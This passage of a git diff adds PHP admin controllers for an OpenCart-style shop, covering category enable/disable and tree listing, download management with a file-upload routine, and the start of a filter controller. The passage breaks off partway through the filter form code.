+ if (($seo_url['store_id'] == $store_id) && (!isset($this->request->get['category_id']) || ($seo_url['query'] != 'category_id=' . $this->request->get['category_id']))) {
+ $this->error['keyword'][$store_id][$language_id] = $this->language->get('error_keyword');
+
+ break;
+ }
+ }
+ }
+ }
+ }
+ }
+
+ if ($this->error && !isset($this->error['warning'])) {
+ $this->error['warning'] = $this->language->get('error_warning');
+ }
+
+ return !$this->error;
+ }
+
+ public function enable() {
+ $this->load->language('catalog/category');
+ $this->document->setTitle($this->language->get('heading_title'));
+ $this->load->model('catalog/category');
+ if (isset($this->request->post['selected']) && $this->validateEnable()) {
+ foreach ($this->request->post['selected'] as $category_id) {
+ $this->model_catalog_category->editCategoryStatus($category_id, 1);
+ }
+ $this->session->data['success'] = $this->language->get('text_success');
+ $url = '';
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+ $this->response->redirect($this->url->link('catalog/category', 'user_token=' . $this->session->data['user_token'] . $url, true));
+ }
+ $this->getList();
+ }
+
+ public function disable() {
+ $this->load->language('catalog/category');
+ $this->document->setTitle($this->language->get('heading_title'));
+ $this->load->model('catalog/category');
+ if (isset($this->request->post['selected']) && $this->validateDisable()) {
+ foreach ($this->request->post['selected'] as $category_id) {
+ $this->model_catalog_category->editCategoryStatus($category_id, 0);
+ }
+ $this->session->data['success'] = $this->language->get('text_success');
+ $url = '';
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+ $this->response->redirect($this->url->link('catalog/category', 'user_token=' . $this->session->data['user_token'] . $url, true));
+ }
+ $this->getList();
+ }
+
+ protected function validateEnable() {
+ if (!$this->user->hasPermission('modify', 'catalog/category')) {
+ $this->error['warning'] = $this->language->get('error_permission');
+ }
+
+ return !$this->error;
+ }
+
+ protected function validateDisable() {
+ if (!$this->user->hasPermission('modify', 'catalog/category')) {
+ $this->error['warning'] = $this->language->get('error_permission');
+ }
+
+ return !$this->error;
+ }
+
+ protected function validateDelete() {
+ if (!$this->user->hasPermission('modify', 'catalog/category')) {
+ $this->error['warning'] = $this->language->get('error_permission');
+ }
+
+ return !$this->error;
+ }
+
+ protected function validateRepair() {
+ if (!$this->user->hasPermission('modify', 'catalog/category')) {
+ $this->error['warning'] = $this->language->get('error_permission');
+ }
+
+ return !$this->error;
+ }
+
+ public function autocomplete() {
+ $json = array();
+
+ if (isset($this->request->get['filter_name'])) {
+ $this->load->model('catalog/category');
+
+ $filter_data = array(
+ 'filter_name' => $this->request->get['filter_name'],
+ 'sort' => 'name',
+ 'order' => 'ASC',
+ 'start' => 0,
+ 'limit' => $this->config->get('config_limit_autocomplete')
+ );
+
+ $results = $this->model_catalog_category->getCategories($filter_data);
+
+ foreach ($results as $result) {
+ $json[] = array(
+ 'category_id' => $result['category_id'],
+ 'name' => strip_tags(html_entity_decode($result['name'], ENT_QUOTES, 'UTF-8'))
+ );
+ }
+ }
+
+ $sort_order = array();
+
+ foreach ($json as $key => $value) {
+ $sort_order[$key] = $value['name'];
+ }
+
+ array_multisort($sort_order, SORT_ASC, $json);
+
+ $this->response->addHeader('Content-Type: application/json');
+ $this->response->setOutput(json_encode($json));
+ }
+
+ private function getCategories($parent_id, $parent_path = '', $indent = '') {
+ $category_id = array_shift($this->path);
+ $output = array();
+ static $href_category = null;
+ static $href_action = null;
+ if ($href_category === null) {
+ $href_category = $this->url->link('catalog/category', 'user_token=' . $this->session->data['user_token'] . '&path=', true);
+ $href_action = $this->url->link('catalog/category/update', 'user_token=' . $this->session->data['user_token'] . '&category_id=', true);
+ }
+ $results = $this->model_catalog_category->getCategoriesByParentId($parent_id);
+ foreach ($results as $result) {
+ $path = $parent_path . $result['category_id'];
+ $href = ($result['children']) ? $href_category . $path : '';
+ $name = $result['name'];
+ if ($category_id == $result['category_id']) {
+ $name = '' . $name . ' ';
+ $data['breadcrumbs'][] = array(
+ 'text' => $result['name'],
+ 'href' => $href,
+ 'separator' => ' :: '
+ );
+ $href = '';
+ }
+ $selected = isset($this->request->post['selected']) && in_array($result['category_id'], $this->request->post['selected']);
+ $action = array();
+ $action[] = array(
+ 'text' => $this->language->get('text_edit'),
+ 'href' => $href_action . $result['category_id']
+ );
+ $output[$result['category_id']] = array(
+ 'category_id' => $result['category_id'],
+ 'name' => $name,
+ 'sort_order' => $result['sort_order'],
+ 'noindex' => $result['noindex'],
+ 'edit' => $this->url->link('catalog/category/edit', 'user_token=' . $this->session->data['user_token'] . '&category_id=' . $result['category_id'], true),
+ 'selected' => $selected,
+ 'action' => $action,
+ 'href' => $href,
+ 'href_shop' => HTTP_CATALOG . 'index.php?route=product/category&path=' . ($result['category_id']),
+ 'indent' => $indent
+ );
+ if ($category_id == $result['category_id']) {
+ $output += $this->getCategories($result['category_id'], $path . '_', $indent . str_repeat(' ', 8));
+ }
+ }
+ return $output;
+ }
+ private function getAllCategories($categories, $parent_id = 0, $parent_name = '') {
+ $output = array();
+ if (array_key_exists($parent_id, $categories)) {
+ if ($parent_name != '') {
+ $parent_name .= $this->language->get('text_separator');
+ }
+ foreach ($categories[$parent_id] as $category) {
+ $output[$category['category_id']] = array(
+ 'category_id' => $category['category_id'],
+ 'name' => $parent_name . $category['name']
+ );
+ $output += $this->getAllCategories($categories, $category['category_id'], $parent_name . $category['name']);
+ }
+ }
+ return $output;
+ }
+}
\ No newline at end of file
diff --git a/public/admin/controller/catalog/download.php b/public/admin/controller/catalog/download.php
new file mode 100644
index 0000000..3d13c27
--- /dev/null
+++ b/public/admin/controller/catalog/download.php
@@ -0,0 +1,514 @@
+load->language('catalog/download');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('catalog/download');
+
+ $this->getList();
+ }
+
+ public function add() {
+ $this->load->language('catalog/download');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('catalog/download');
+
+ if (($this->request->server['REQUEST_METHOD'] == 'POST') && $this->validateForm()) {
+ $this->model_catalog_download->addDownload($this->request->post);
+
+ $this->session->data['success'] = $this->language->get('text_success');
+
+ $url = '';
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $this->response->redirect($this->url->link('catalog/download', 'user_token=' . $this->session->data['user_token'] . $url, true));
+ }
+
+ $this->getForm();
+ }
+
+ public function edit() {
+ $this->load->language('catalog/download');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('catalog/download');
+
+ if (($this->request->server['REQUEST_METHOD'] == 'POST') && $this->validateForm()) {
+ $this->model_catalog_download->editDownload($this->request->get['download_id'], $this->request->post);
+
+ $this->session->data['success'] = $this->language->get('text_success');
+
+ $url = '';
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $this->response->redirect($this->url->link('catalog/download', 'user_token=' . $this->session->data['user_token'] . $url, true));
+ }
+
+ $this->getForm();
+ }
+
+ public function delete() {
+ $this->load->language('catalog/download');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('catalog/download');
+
+ if (isset($this->request->post['selected']) && $this->validateDelete()) {
+ foreach ($this->request->post['selected'] as $download_id) {
+ $this->model_catalog_download->deleteDownload($download_id);
+ }
+
+ $this->session->data['success'] = $this->language->get('text_success');
+
+ $url = '';
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $this->response->redirect($this->url->link('catalog/download', 'user_token=' . $this->session->data['user_token'] . $url, true));
+ }
+
+ $this->getList();
+ }
+
+ protected function getList() {
+ if (isset($this->request->get['sort'])) {
+ $sort = $this->request->get['sort'];
+ } else {
+ $sort = 'dd.name';
+ }
+
+ if (isset($this->request->get['order'])) {
+ $order = $this->request->get['order'];
+ } else {
+ $order = 'ASC';
+ }
+
+ if (isset($this->request->get['page'])) {
+ $page = (int)$this->request->get['page'];
+ } else {
+ $page = 1;
+ }
+
+ $url = '';
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $data['breadcrumbs'] = array();
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('text_home'),
+ 'href' => $this->url->link('common/dashboard', 'user_token=' . $this->session->data['user_token'], true)
+ );
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('heading_title'),
+ 'href' => $this->url->link('catalog/download', 'user_token=' . $this->session->data['user_token'] . $url, true)
+ );
+
+ $data['add'] = $this->url->link('catalog/download/add', 'user_token=' . $this->session->data['user_token'] . $url, true);
+ $data['delete'] = $this->url->link('catalog/download/delete', 'user_token=' . $this->session->data['user_token'] . $url, true);
+
+ $data['downloads'] = array();
+
+ $filter_data = array(
+ 'sort' => $sort,
+ 'order' => $order,
+ 'start' => ($page - 1) * $this->config->get('config_limit_admin'),
+ 'limit' => $this->config->get('config_limit_admin')
+ );
+
+ $download_total = $this->model_catalog_download->getTotalDownloads();
+
+ $results = $this->model_catalog_download->getDownloads($filter_data);
+
+ foreach ($results as $result) {
+ $data['downloads'][] = array(
+ 'download_id' => $result['download_id'],
+ 'name' => $result['name'],
+ 'date_added' => date($this->language->get('date_format_short'), strtotime($result['date_added'])),
+ 'edit' => $this->url->link('catalog/download/edit', 'user_token=' . $this->session->data['user_token'] . '&download_id=' . $result['download_id'] . $url, true)
+ );
+ }
+
+ if (isset($this->error['warning'])) {
+ $data['error_warning'] = $this->error['warning'];
+ } else {
+ $data['error_warning'] = '';
+ }
+
+ if (isset($this->session->data['success'])) {
+ $data['success'] = $this->session->data['success'];
+
+ unset($this->session->data['success']);
+ } else {
+ $data['success'] = '';
+ }
+
+ if (isset($this->request->post['selected'])) {
+ $data['selected'] = (array)$this->request->post['selected'];
+ } else {
+ $data['selected'] = array();
+ }
+
+ $url = '';
+
+ if ($order == 'ASC') {
+ $url .= '&order=DESC';
+ } else {
+ $url .= '&order=ASC';
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $data['sort_name'] = $this->url->link('catalog/download', 'user_token=' . $this->session->data['user_token'] . '&sort=dd.name' . $url, true);
+ $data['sort_date_added'] = $this->url->link('catalog/download', 'user_token=' . $this->session->data['user_token'] . '&sort=d.date_added' . $url, true);
+
+ $url = '';
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ $pagination = new Pagination();
+ $pagination->total = $download_total;
+ $pagination->page = $page;
+ $pagination->limit = $this->config->get('config_limit_admin');
+ $pagination->url = $this->url->link('catalog/download', 'user_token=' . $this->session->data['user_token'] . $url . '&page={page}', true);
+
+ $data['pagination'] = $pagination->render();
+
+ $data['results'] = sprintf($this->language->get('text_pagination'), ($download_total) ? (($page - 1) * $this->config->get('config_limit_admin')) + 1 : 0, ((($page - 1) * $this->config->get('config_limit_admin')) > ($download_total - $this->config->get('config_limit_admin'))) ? $download_total : ((($page - 1) * $this->config->get('config_limit_admin')) + $this->config->get('config_limit_admin')), $download_total, ceil($download_total / $this->config->get('config_limit_admin')));
+
+ $data['sort'] = $sort;
+ $data['order'] = $order;
+
+ $data['header'] = $this->load->controller('common/header');
+ $data['column_left'] = $this->load->controller('common/column_left');
+ $data['footer'] = $this->load->controller('common/footer');
+
+ $this->response->setOutput($this->load->view('catalog/download_list', $data));
+ }
+
+ protected function getForm() {
+ $data['text_form'] = !isset($this->request->get['download_id']) ? $this->language->get('text_add') : $this->language->get('text_edit');
+
+ if (isset($this->error['warning'])) {
+ $data['error_warning'] = $this->error['warning'];
+ } else {
+ $data['error_warning'] = '';
+ }
+
+ if (isset($this->error['name'])) {
+ $data['error_name'] = $this->error['name'];
+ } else {
+ $data['error_name'] = array();
+ }
+
+ if (isset($this->error['filename'])) {
+ $data['error_filename'] = $this->error['filename'];
+ } else {
+ $data['error_filename'] = '';
+ }
+
+ if (isset($this->error['mask'])) {
+ $data['error_mask'] = $this->error['mask'];
+ } else {
+ $data['error_mask'] = '';
+ }
+
+ $url = '';
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $data['breadcrumbs'] = array();
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('text_home'),
+ 'href' => $this->url->link('common/dashboard', 'user_token=' . $this->session->data['user_token'], true)
+ );
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('heading_title'),
+ 'href' => $this->url->link('catalog/download', 'user_token=' . $this->session->data['user_token'] . $url, true)
+ );
+
+ if (!isset($this->request->get['download_id'])) {
+ $data['action'] = $this->url->link('catalog/download/add', 'user_token=' . $this->session->data['user_token'] . $url, true);
+ } else {
+ $data['action'] = $this->url->link('catalog/download/edit', 'user_token=' . $this->session->data['user_token'] . '&download_id=' . $this->request->get['download_id'] . $url, true);
+ }
+
+ $data['cancel'] = $this->url->link('catalog/download', 'user_token=' . $this->session->data['user_token'] . $url, true);
+
+ $this->load->model('localisation/language');
+
+ $data['languages'] = $this->model_localisation_language->getLanguages();
+
+ if (isset($this->request->get['download_id']) && ($this->request->server['REQUEST_METHOD'] != 'POST')) {
+ $download_info = $this->model_catalog_download->getDownload($this->request->get['download_id']);
+ }
+
+ $data['user_token'] = $this->session->data['user_token'];
+
+ if (isset($this->request->get['download_id'])) {
+ $data['download_id'] = (int)$this->request->get['download_id'];
+ } else {
+ $data['download_id'] = 0;
+ }
+
+ if (isset($this->request->post['download_description'])) {
+ $data['download_description'] = $this->request->post['download_description'];
+ } elseif (isset($this->request->get['download_id'])) {
+ $data['download_description'] = $this->model_catalog_download->getDownloadDescriptions($this->request->get['download_id']);
+ } else {
+ $data['download_description'] = array();
+ }
+
+ if (isset($this->request->post['filename'])) {
+ $data['filename'] = $this->request->post['filename'];
+ } elseif (!empty($download_info)) {
+ $data['filename'] = $download_info['filename'];
+ } else {
+ $data['filename'] = '';
+ }
+
+ if (isset($this->request->post['mask'])) {
+ $data['mask'] = $this->request->post['mask'];
+ } elseif (!empty($download_info)) {
+ $data['mask'] = $download_info['mask'];
+ } else {
+ $data['mask'] = '';
+ }
+
+ $data['header'] = $this->load->controller('common/header');
+ $data['column_left'] = $this->load->controller('common/column_left');
+ $data['footer'] = $this->load->controller('common/footer');
+
+ $this->response->setOutput($this->load->view('catalog/download_form', $data));
+ }
+
+ protected function validateForm() {
+ if (!$this->user->hasPermission('modify', 'catalog/download')) {
+ $this->error['warning'] = $this->language->get('error_permission');
+ }
+
+ foreach ($this->request->post['download_description'] as $language_id => $value) {
+ if ((utf8_strlen($value['name']) < 3) || (utf8_strlen($value['name']) > 64)) {
+ $this->error['name'][$language_id] = $this->language->get('error_name');
+ }
+ }
+
+ if ((utf8_strlen($this->request->post['filename']) < 3) || (utf8_strlen($this->request->post['filename']) > 128)) {
+ $this->error['filename'] = $this->language->get('error_filename');
+ }
+
+ if (!is_file(DIR_DOWNLOAD . $this->request->post['filename'])) {
+ $this->error['filename'] = $this->language->get('error_exists');
+ }
+
+ if ((utf8_strlen($this->request->post['mask']) < 3) || (utf8_strlen($this->request->post['mask']) > 128)) {
+ $this->error['mask'] = $this->language->get('error_mask');
+ }
+
+ return !$this->error;
+ }
+
+ protected function validateDelete() {
+ if (!$this->user->hasPermission('modify', 'catalog/download')) {
+ $this->error['warning'] = $this->language->get('error_permission');
+ }
+
+ $this->load->model('catalog/product');
+
+ foreach ($this->request->post['selected'] as $download_id) {
+ $product_total = $this->model_catalog_product->getTotalProductsByDownloadId($download_id);
+
+ if ($product_total) {
+ $this->error['warning'] = sprintf($this->language->get('error_product'), $product_total);
+ }
+ }
+
+ return !$this->error;
+ }
+
+ public function upload() {
+ $this->load->language('catalog/download');
+
+ $json = array();
+
+ // Check user has permission
+ if (!$this->user->hasPermission('modify', 'catalog/download')) {
+ $json['error'] = $this->language->get('error_permission');
+ }
+
+ if (!$json) {
+ if (!empty($this->request->files['file']['name']) && is_file($this->request->files['file']['tmp_name'])) {
+ // Sanitize the filename
+ $filename = basename(html_entity_decode($this->request->files['file']['name'], ENT_QUOTES, 'UTF-8'));
+
+ // Validate the filename length
+ if ((utf8_strlen($filename) < 3) || (utf8_strlen($filename) > 128)) {
+ $json['error'] = $this->language->get('error_filename');
+ }
+
+ // Allowed file extension types
+ $allowed = array();
+
+ $extension_allowed = preg_replace('~\r?\n~', "\n", $this->config->get('config_file_ext_allowed'));
+
+ $filetypes = explode("\n", $extension_allowed);
+
+ foreach ($filetypes as $filetype) {
+ $allowed[] = trim($filetype);
+ }
+
+ if (!in_array(strtolower(substr(strrchr($filename, '.'), 1)), $allowed)) {
+ $json['error'] = $this->language->get('error_filetype');
+ }
+
+ // Allowed file mime types
+ $allowed = array();
+
+ $mime_allowed = preg_replace('~\r?\n~', "\n", $this->config->get('config_file_mime_allowed'));
+
+ $filetypes = explode("\n", $mime_allowed);
+
+ foreach ($filetypes as $filetype) {
+ $allowed[] = trim($filetype);
+ }
+
+ if (!in_array($this->request->files['file']['type'], $allowed)) {
+ $json['error'] = $this->language->get('error_filetype');
+ }
+
+ // Check to see if any PHP files are trying to be uploaded
+ $content = file_get_contents($this->request->files['file']['tmp_name']);
+
+ if (preg_match('/\<\?php/i', $content)) {
+ $json['error'] = $this->language->get('error_filetype');
+ }
+
+ // Return any upload error
+ if ($this->request->files['file']['error'] != UPLOAD_ERR_OK) {
+ $json['error'] = $this->language->get('error_upload_' . $this->request->files['file']['error']);
+ }
+ } else {
+ $json['error'] = $this->language->get('error_upload');
+ }
+ }
+
+ if (!$json) {
+ $file = $filename . '.' . token(32);
+
+ move_uploaded_file($this->request->files['file']['tmp_name'], DIR_DOWNLOAD . $file);
+
+ $json['filename'] = $file;
+ $json['mask'] = $filename;
+
+ $json['success'] = $this->language->get('text_upload');
+ }
+
+ $this->response->addHeader('Content-Type: application/json');
+ $this->response->setOutput(json_encode($json));
+ }
+
+ public function autocomplete() {
+ $json = array();
+
+ if (isset($this->request->get['filter_name'])) {
+ $this->load->model('catalog/download');
+
+ $filter_data = array(
+ 'filter_name' => $this->request->get['filter_name'],
+ 'start' => 0,
+ 'limit' => $this->config->get('config_limit_autocomplete')
+ );
+
+ $results = $this->model_catalog_download->getDownloads($filter_data);
+
+ foreach ($results as $result) {
+ $json[] = array(
+ 'download_id' => $result['download_id'],
+ 'name' => strip_tags(html_entity_decode($result['name'], ENT_QUOTES, 'UTF-8'))
+ );
+ }
+ }
+
+ $sort_order = array();
+
+ foreach ($json as $key => $value) {
+ $sort_order[$key] = $value['name'];
+ }
+
+ array_multisort($sort_order, SORT_ASC, $json);
+
+ $this->response->addHeader('Content-Type: application/json');
+ $this->response->setOutput(json_encode($json));
+ }
+}
\ No newline at end of file
diff --git a/public/admin/controller/catalog/filter.php b/public/admin/controller/catalog/filter.php
new file mode 100644
index 0000000..5017f61
--- /dev/null
+++ b/public/admin/controller/catalog/filter.php
@@ -0,0 +1,409 @@
+load->language('catalog/filter');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('catalog/filter');
+
+ $this->getList();
+ }
+
+ public function add() {
+ $this->load->language('catalog/filter');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('catalog/filter');
+
+ if (($this->request->server['REQUEST_METHOD'] == 'POST') && $this->validateForm()) {
+ $this->model_catalog_filter->addFilter($this->request->post);
+
+ $this->session->data['success'] = $this->language->get('text_success');
+
+ $url = '';
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $this->response->redirect($this->url->link('catalog/filter', 'user_token=' . $this->session->data['user_token'] . $url, true));
+ }
+
+ $this->getForm();
+ }
+
+ public function edit() {
+ $this->load->language('catalog/filter');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('catalog/filter');
+
+ if (($this->request->server['REQUEST_METHOD'] == 'POST') && $this->validateForm()) {
+ $this->model_catalog_filter->editFilter($this->request->get['filter_group_id'], $this->request->post);
+
+ $this->session->data['success'] = $this->language->get('text_success');
+
+ $url = '';
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $this->response->redirect($this->url->link('catalog/filter', 'user_token=' . $this->session->data['user_token'] . $url, true));
+ }
+
+ $this->getForm();
+ }
+
+ public function delete() {
+ $this->load->language('catalog/filter');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('catalog/filter');
+
+ if (isset($this->request->post['selected']) && $this->validateDelete()) {
+ foreach ($this->request->post['selected'] as $filter_group_id) {
+ $this->model_catalog_filter->deleteFilter($filter_group_id);
+ }
+
+ $this->session->data['success'] = $this->language->get('text_success');
+
+ $url = '';
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $this->response->redirect($this->url->link('catalog/filter', 'user_token=' . $this->session->data['user_token'] . $url, true));
+ }
+
+ $this->getList();
+ }
+
+ protected function getList() {
+ if (isset($this->request->get['sort'])) {
+ $sort = $this->request->get['sort'];
+ } else {
+ $sort = 'fgd.name';
+ }
+
+ if (isset($this->request->get['order'])) {
+ $order = $this->request->get['order'];
+ } else {
+ $order = 'ASC';
+ }
+
+ if (isset($this->request->get['page'])) {
+ $page = (int)$this->request->get['page'];
+ } else {
+ $page = 1;
+ }
+
+ $url = '';
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $data['breadcrumbs'] = array();
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('text_home'),
+ 'href' => $this->url->link('common/dashboard', 'user_token=' . $this->session->data['user_token'], true)
+ );
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('heading_title'),
+ 'href' => $this->url->link('catalog/filter', 'user_token=' . $this->session->data['user_token'] . $url, true)
+ );
+
+ $data['add'] = $this->url->link('catalog/filter/add', 'user_token=' . $this->session->data['user_token'] . $url, true);
+ $data['delete'] = $this->url->link('catalog/filter/delete', 'user_token=' . $this->session->data['user_token'] . $url, true);
+
+ $data['filters'] = array();
+
+ $filter_data = array(
+ 'sort' => $sort,
+ 'order' => $order,
+ 'start' => ($page - 1) * $this->config->get('config_limit_admin'),
+ 'limit' => $this->config->get('config_limit_admin')
+ );
+
+ $filter_total = $this->model_catalog_filter->getTotalFilterGroups();
+
+ $results = $this->model_catalog_filter->getFilterGroups($filter_data);
+
+ foreach ($results as $result) {
+ $data['filters'][] = array(
+ 'filter_group_id' => $result['filter_group_id'],
+ 'name' => $result['name'],
+ 'sort_order' => $result['sort_order'],
+ 'edit' => $this->url->link('catalog/filter/edit', 'user_token=' . $this->session->data['user_token'] . '&filter_group_id=' . $result['filter_group_id'] . $url, true)
+ );
+ }
+
+ if (isset($this->error['warning'])) {
+ $data['error_warning'] = $this->error['warning'];
+ } else {
+ $data['error_warning'] = '';
+ }
+
+ if (isset($this->session->data['success'])) {
+ $data['success'] = $this->session->data['success'];
+
+ unset($this->session->data['success']);
+ } else {
+ $data['success'] = '';
+ }
+
+ if (isset($this->request->post['selected'])) {
+ $data['selected'] = (array)$this->request->post['selected'];
+ } else {
+ $data['selected'] = array();
+ }
+
+ $url = '';
+
+ if ($order == 'ASC') {
+ $url .= '&order=DESC';
+ } else {
+ $url .= '&order=ASC';
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $data['sort_name'] = $this->url->link('catalog/filter', 'user_token=' . $this->session->data['user_token'] . '&sort=fgd.name' . $url, true);
+ $data['sort_sort_order'] = $this->url->link('catalog/filter', 'user_token=' . $this->session->data['user_token'] . '&sort=fg.sort_order' . $url, true);
+
+ $url = '';
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ $pagination = new Pagination();
+ $pagination->total = $filter_total;
+ $pagination->page = $page;
+ $pagination->limit = $this->config->get('config_limit_admin');
+ $pagination->url = $this->url->link('catalog/filter', 'user_token=' . $this->session->data['user_token'] . $url . '&page={page}', true);
+
+ $data['pagination'] = $pagination->render();
+
+ $data['results'] = sprintf($this->language->get('text_pagination'), ($filter_total) ? (($page - 1) * $this->config->get('config_limit_admin')) + 1 : 0, ((($page - 1) * $this->config->get('config_limit_admin')) > ($filter_total - $this->config->get('config_limit_admin'))) ? $filter_total : ((($page - 1) * $this->config->get('config_limit_admin')) + $this->config->get('config_limit_admin')), $filter_total, ceil($filter_total / $this->config->get('config_limit_admin')));
+
+ $data['sort'] = $sort;
+ $data['order'] = $order;
+
+ $data['header'] = $this->load->controller('common/header');
+ $data['column_left'] = $this->load->controller('common/column_left');
+ $data['footer'] = $this->load->controller('common/footer');
+
+ $this->response->setOutput($this->load->view('catalog/filter_list', $data));
+ }
+
+ protected function getForm() {
+ $data['text_form'] = !isset($this->request->get['filter_id']) ? $this->language->get('text_add') : $this->language->get('text_edit');
+
+ if (isset($this->error['warning'])) {
+ $data['error_warning'] = $this->error['warning'];
+ } else {
+ $data['error_warning'] = '';
+ }
+
+ if (isset($this->error['group'])) {
+ $data['error_group'] = $this->error['group'];
+ } else {
+ $data['error_group'] = array();
+ }
+
+ if (isset($this->error['filter'])) {
+ $data['error_filter'] = $this->error['filter'];
+ } else {
+ $data['error_filter'] = array();
+ }
+
+ $url = '';
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $data['breadcrumbs'] = array();
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('text_home'),
+ 'href' => $this->url->link('common/dashboard', 'user_token=' . $this->session->data['user_token'], true)
+ );
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('heading_title'),
+ 'href' => $this->url->link('catalog/filter', 'user_token=' . $this->session->data['user_token'] . $url, true)
+ );
+
+ if (!isset($this->request->get['filter_group_id'])) {
+ $data['action'] = $this->url->link('catalog/filter/add', 'user_token=' . $this->session->data['user_token'] . $url, true);
+ } else {
+ $data['action'] = $this->url->link('catalog/filter/edit', 'user_token=' . $this->session->data['user_token'] . '&filter_group_id=' . $this->request->get['filter_group_id'] . $url, true);
+ }
+
+ $data['cancel'] = $this->url->link('catalog/filter', 'user_token=' . $this->session->data['user_token'] . $url, true);
+
+ if (isset($this->request->get['filter_group_id']) && ($this->request->server['REQUEST_METHOD'] != 'POST')) {
+ $filter_group_info = $this->model_catalog_filter->getFilterGroup($this->request->get['filter_group_id']);
+ }
+
+ $data['user_token'] = $this->session->data['user_token'];
+
+ $this->load->model('localisation/language');
+
+ $data['languages'] = $this->model_localisation_language->getLanguages();
+
+ if (isset($this->request->post['filter_group_description'])) {
+ $data['filter_group_description'] = $this->request->post['filter_group_description'];
+ } elseif (isset($this->request->get['filter_group_id'])) {
+ $data['filter_group_description'] = $this->model_catalog_filter->getFilterGroupDescriptions($this->request->get['filter_group_id']);
+ } else {
+ $data['filter_group_description'] = array();
+ }
+
+ if (isset($this->request->post['sort_order'])) {
+ $data['sort_order'] = $this->request->post['sort_order'];
+ } elseif (!empty($filter_group_info)) {
+ $data['sort_order'] = $filter_group_info['sort_order'];
+ } else {
+ $data['sort_order'] = '';
+ }
+
+ if (isset($this->request->post['filter'])) {
